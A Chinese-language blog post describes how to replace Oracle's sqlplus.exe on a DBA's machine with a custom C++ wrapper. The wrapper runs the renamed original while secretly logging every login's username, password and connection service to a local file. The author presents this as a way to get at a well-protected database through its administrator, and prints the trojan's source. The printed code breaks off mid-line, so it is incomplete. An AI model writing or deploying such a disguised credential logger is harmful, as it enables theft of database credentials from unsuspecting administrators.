當DBA登錄本地或遠程數據庫時,為了省事,用 sqlplus 用戶名/ 密碼 @連接服務名 的方式登錄數據庫是再平常不過了,而我們如果將Oracle的SQLPlus換成我們自己的實現,然后當使用時,記錄下它的登錄信息,就得到了數據庫的用戶名,密碼等信息。 這是一種很簡單
當DBA登錄本地或遠程數據庫時,為了省事,用"sqlplus 用戶名/密碼@連接服務名" 的方式登錄數據庫是再平常不過了,而我們如果將Oracle的SQLPlus換成我們自己的實現,然后當使用時,記錄下它的登錄信息,就得到了數據庫的用戶名,密碼等信息。
這是一種很簡單的,偷龍轉鳳的方式,有其局限性。但有時,如果數據庫本身的防護很嚴,從DBA客戶端這邊下手,利用這種方式有時也能有意外的收獲。
效果圖:
這種方式跑起來和Oracle原來的是一模一樣的. 光看是看不來什么地。
被記錄下的登錄信息:
代碼如下:
/** *author: xiongchuanliang *desc: 用自定義的sqlplus替換掉Oracle原版的,并在自定義的程序中記錄下用戶的登錄信息的演示 1. 找到Oracle自帶的sqlplus.exe,將其命名為其它文件 2. 用自定義的替換掉原版 */ #include#include #include #include #include using namespace std; HRESULT CMDEx(const char *pCmd) ; //將原版的sqlplus.exe改為sqlplus_ora.exe"; const string sqlplus_path = "C:/oracle/product/11.2.0/dbhome_1/BIN/sqlplus_ora.exe"; const string oper_log = "C:/mysqlplus.log"; int main(int argc,char* argv[]) { string sqlplus_cmd = sqlplus_path; ofstream flog(oper_log,ios::app); SYSTEMTIME sys; if(flog){ GetLocalTime(&sys); flog<
MAIL: xcl_168@aliyun.com
BLOG: http://blog.csdn.net/xcl168
聲明:本網頁內容旨在傳播知識,若有侵權等問題請及時與本網聯系,我們將在第一時間刪除處理。TEL:177 7030 7066 E-MAIL:11247931@qq.com